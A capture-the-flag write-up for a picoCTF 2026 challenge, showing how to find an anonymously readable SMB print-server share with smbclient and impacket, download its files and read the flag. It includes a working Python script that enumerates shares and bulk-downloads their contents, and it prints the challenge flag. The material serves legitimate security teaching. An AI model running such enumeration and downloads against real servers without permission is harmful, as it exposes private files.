│ Category: General Skills
│ Difficulty: Easy
│ Points: 50
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ Oops! Someone accidentally sent an important file to a network printer -- can
you retrieve it from the print server?
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
This challenge simulates a misconfigured network printer that exposes its print
spool via the SMB (Server Message Block) protocol. SMB is a network file sharing
protocol commonly used in Windows environments and by network printers to share
files and print jobs.
:: Key Concepts
1. SMB (Server Message Block): A network protocol for sharing files, printers,
and other resources. It operates on TCP ports 445 (or sometimes custom ports in
CTF challenges).
2. Anonymous Access: Misconfigured SMB shares often allow anonymous (guest)
access without credentials, exposing sensitive files.
3. smbclient: A command-line tool (part of the Samba suite) that allows Linux
users to interact with SMB shares, similar to an FTP client.
:: Reconnaissance
The challenge provides a hostname and port. The approach is:
1. Verify connectivity to the SMB service
2. Enumerate available shares
3. Connect to the share and retrieve the flag file
-- bash --
nc -vz mysterious-sea.picoctf.net 53888
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
The print server's SMB share is misconfigured to permit anonymous (guest) access
with no credentials. The -N (no password) flag is enough to list shares and read
the file that was "accidentally" sent to the printer. Listing the shares reveals
a share called shares containing flag.txt.
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
:: Step 1: Check connectivity
-- bash --
nc -vz mysterious-sea.picoctf.net 53888
:: Step 2: List available SMB shares
-- bash --
smbclient -L //mysterious-sea.picoctf.net -p 53888 -N
The -N flag specifies no password (anonymous access). The -L flag lists
available shares.
This reveals a share called shares.
:: Step 3: Connect to the share
-- bash --
smbclient //mysterious-sea.picoctf.net/shares -p 53888 -N
:: Step 4: List and retrieve files
Once connected to the SMB shell:
smb: \> ls
smb: \> get flag.txt
:: Step 5: Read the flag
-- bash --
cat flag.txt
The flag is: picoCTF{5mb_pr1nter_5h4re5_7a400ec3}
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Printer Shares - picoCTF 2026 (General Skills, 50 pts)
Retrieve a flag from a misconfigured SMB print server share.
The printer exposes its spool via anonymous SMB access.
Usage:
python3 solve.py [HOST] [PORT]
Requires: smbclient (apt install smbclient) or impacket (pip install impacket)
"""
import os
import re
import subprocess
import sys
import tempfile
# ============================================================
# Configuration - update with actual challenge values
# ============================================================
HOST = sys.argv[1] if len(sys.argv) > 1 else "mysterious-sea.picoctf.net"
PORT = sys.argv[2] if len(sys.argv) > 2 else "53888"
SHARE_NAME = "shares" # Default share name; adjust if different
def method_smbclient():
"""
Method 1: Use smbclient command-line tool.
This is the most straightforward approach.
"""
print("[*] Method 1: Using smbclient...")
# Check if smbclient is available
try:
subprocess.run(["smbclient", "--version"], capture_output=True, check=True)
except FileNotFoundError:
print("[!] smbclient not found. Install with: sudo apt install smbclient")
return None
# Step 1: List available shares
print(f"[*] Listing shares on //{HOST}:{PORT}...")
try:
result = subprocess.run(
["smbclient", "-L", f"//{HOST}", "-p", PORT, "-N"],
capture_output=True, text=True, timeout=30
)
print(f"[*] Available shares:\n{result.stdout}")
# Parse share names from output
share_names = []
for line in result.stdout.split("\n"):
line = line.strip()
if "Disk" in line:
share_name = line.split()[0]
share_names.append(share_name)
print(f"[+] Found share: {share_name}")
except subprocess.TimeoutExpired:
print("[!] Connection timed out. Check HOST and PORT.")
return None
except Exception as e:
print(f"[!] Error listing shares: {e}")
share_names = [SHARE_NAME] # Fall back to default
# Step 2: Connect to each share and look for flag files
for share in share_names or [SHARE_NAME]:
print(f"\n[*] Connecting to share: {share}")
with tempfile.TemporaryDirectory() as tmpdir:
# Use smbclient to list and download files
try:
# List files in the share
list_result = subprocess.run(
["smbclient", f"//{HOST}/{share}", "-p", PORT, "-N",
"-c", "recurse ON; ls"],
capture_output=True, text=True, timeout=30
)
print(f"[*] Files in {share}:\n{list_result.stdout}")
# Download all files
download_result = subprocess.run(
["smbclient", f"//{HOST}/{share}", "-p", PORT, "-N",
"-c", f"lcd {tmpdir}; recurse ON; prompt OFF; mget *"],
capture_output=True, text=True, timeout=30
)
# Search downloaded files for the flag
for root, dirs, files in os.walk(tmpdir):
for fname in files:
fpath = os.path.join(root, fname)
try:
with open(fpath, "r") as f:
content = f.read()
flag_match = re.search(r"picoCTF\{[^\}]+\}", content)
if flag_match:
flag = flag_match.group(0)
print(f"[+] Found flag in {fname}: {flag}")
return flag
# Also print content of small text files
if len(content) < 500:
print(f"[*] Content of {fname}: {content.strip()}")
except:
pass
# Also try getting specific known filenames
for flag_file in ["flag.txt", "flag", "FLAG.txt", "FLAG"]:
try:
result = subprocess.run(
["smbclient", f"//{HOST}/{share}", "-p", PORT, "-N",
"-c", f"get {flag_file} {tmpdir}/flag_download"],
capture_output=True, text=True, timeout=15
)
flag_path = os.path.join(tmpdir, "flag_download")
if os.path.exists(flag_path):
with open(flag_path, "r") as f:
content = f.read().strip()
flag_match = re.search(r"picoCTF\{[^\}]+\}", content)
if flag_match:
flag = flag_match.group(0)
print(f"[+] Found flag: {flag}")
return flag
if content:
print(f"[*] Content of {flag_file}: {content}")
except:
pass
except subprocess.TimeoutExpired:
print(f"[!] Timeout connecting to {share}")
except Exception as e:
print(f"[!] Error: {e}")
return None
def method_impacket():
"""
Method 2: Use impacket's smbclient.
Useful when system smbclient is not available.
"""
print("[*] Method 2: Using impacket...")
try:
from impacket.smbconnection import SMBConnection
except ImportError:
print("[!] impacket not found. Install with: pip install impacket")
return None
try:
# Connect to SMB
conn = SMBConnection(HOST, HOST, sess_port=int(PORT))
conn.login("", "") # Anonymous login
print("[+] Connected anonymously!")
# List shares
shares = conn.listShares()
print("[*] Available shares:")
for share in shares:
share_name = share["shi1_netname"][:-1] # Remove null terminator
print(f" - {share_name}")
# Try to access each share
for share in shares:
share_name = share["shi1_netname"][:-1]
try:
file_list = conn.listPath(share_name, "*")
for f in file_list:
fname = f.get_longname()
if fname in [".", ".."]:
continue
print(f"[*] Found file: {share_name}/{fname}")
# Try to read the file
try:
with tempfile.NamedTemporaryFile(delete=False) as tmp:
conn.getFile(share_name, fname, tmp.write)
tmp_path = tmp.name
with open(tmp_path, "r") as fh:
content = fh.read()
flag_match = re.search(r"picoCTF\{[^\}]+\}", content)
if flag_match:
flag = flag_match.group(0)
print(f"[+] Found flag in {fname}: {flag}")
os.unlink(tmp_path)
conn.close()
return flag
if content.strip():
print(f"[*] Content: {content.strip()}")
os.unlink(tmp_path)
except Exception as e:
print(f"[!] Error reading {fname}: {e}")
except Exception as e:
print(f"[!] Cannot list {share_name}: {e}")
conn.close()
except Exception as e:
print(f"[!] impacket connection failed: {e}")
return None
def method_manual_commands():
"""Print manual commands for the user to try."""
print("\n[*] Manual commands to try:")
print(f" # List shares:")
print(f" smbclient -L //{HOST} -p {PORT} -N")
print(f"")
print(f" # Connect to 'shares':")
print(f" smbclient //{HOST}/{SHARE_NAME} -p {PORT} -N")
print(f"")
print(f" # Inside smbclient, run:")
print(f" smb: \\> ls")
print(f" smb: \\> get flag.txt")
print(f" smb: \\> exit")
print(f"")
print(f" # Read the flag:")
print(f" cat flag.txt")
def main():
print(f"[*] Target: {HOST}:{PORT}")
print(f"[*] Share: {SHARE_NAME}")
print()
# Try smbclient first
flag = method_smbclient()
if not flag:
# Try impacket as fallback
flag = method_impacket()
if flag:
print(f"\n{'='*60}")
print(f"[+] FLAG: {flag}")
print(f"{'='*60}")
else:
print(f"\n[!] Could not automatically retrieve the flag.")
method_manual_commands()
if __name__ == "__main__":
main()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- Misconfigured SMB shares frequently permit anonymous/guest access; smbclient
-N requires no password.
- smbclient -L //host -p PORT -N enumerates shares; CTF SMB services often run
on a non-standard port instead of 445.
- Once a readable share is found, connect with smbclient //host/share -p PORT
-N, then ls and get flag.txt.
- impacket's SMBConnection is a useful Python-native fallback when system
smbclient is unavailable.